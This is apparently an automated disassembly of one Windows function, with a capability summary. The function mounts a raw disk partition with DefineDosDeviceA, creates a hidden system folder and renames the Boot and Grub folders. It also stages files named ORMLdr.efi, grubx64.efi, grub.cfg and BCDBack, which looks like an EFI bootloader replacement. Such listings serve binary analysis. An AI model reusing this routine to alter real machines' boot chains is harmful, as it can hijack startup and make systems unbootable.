Function at 0x4023b0
Capabilities:
Create directory
Get common file path
Move file
Set file attributes

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x14]
xor ebp, ebp
push eax
push ecx
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.00401f30
add esp, 8
test eax, eax
je 0x402898
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], 0
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x120]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
push edx
push eax
push str.DeviceHarddisk_uPartition_u
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov dx, word [0x40484c]
mov al, byte [0x40484e]
mov esi, dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
add esp, 0x10
mov word [esp + 0x10], dx
mov byte [esp + 0x12], al
mov ebx, 0x30
lea ecx, [esp + 0x120]
lea edx, [esp + 0x10]
push ecx
push edx
push 9
mov byte [esp + 0x1c], bl
call esi
test eax, eax
jne 0x40247a
lea eax, [esp + 0x120]
push eax
push 0x404838
call fcn.00401000
add esp, 8
inc ebx
cmp ebx, 0x39
jle 0x402439
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x214
ret
lea ecx, [esp + 0x120]
lea edx, [esp + 0x10]
push ecx
push edx
push 0x40481c
call fcn.00401000
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
lea edi, [esp + 0x1c]
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x4048f0
push 0x4048f0
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.ORM
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4048f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ORMTMP
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call ebp
or ecx, 0xffffffff
mov edi, 0x4048f0
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x405410
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.ORMLdr.efi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x405410
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x4048f0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x405514
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Grubx64.efi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x405514
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4048f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x404e04
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.BCDBack
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
or ecx, 0xffffffff
mov edi, 0x404e04
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x4048f0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x405820
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.ORM.pf2
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x405820
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4048f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40571c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.grub.cfg
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x40571c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x405a28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.Boot
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x405a28
mov esi, edi
mov edx, ecx
mov edi, 0x405a28
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov ebx, dword [sym.imp.MSVCRT.dll_rename]
lea eax, [esp + 0x1c]
push eax
push 0x405a28
call ebx
lea ecx, [esp + 0x24]
push 0x405a28
push ecx
call ebx
mov edi, str.Grub
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x405a28
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x405a28
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
lea eax, [esp + 0x1c]
push eax
push 0x405a28
call ebx
lea ecx, [esp + 0x24]
push 0x405a28
push ecx
call ebx
mov edi, 0x405a28
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x405618
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.grub.cfg
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
or ecx, 0xffffffff
mov edi, 0x405618
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x405a28
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x405924
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.x86_64_efi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x405924
mov esi, edi
mov edx, ecx
mov edi, 0x405924
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov edi, str.loopback.mod
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x405924
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
push 0x104
push 0x4048f0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.ORM
or ecx, 0xffffffff
xor eax, eax
mov byte [0x4048f2], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edx, ecx
mov edi, 0x4048f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x4048f0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
push 0x4048f0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, 0x4048f0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x404e04
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.BCDBack
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x404e04
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret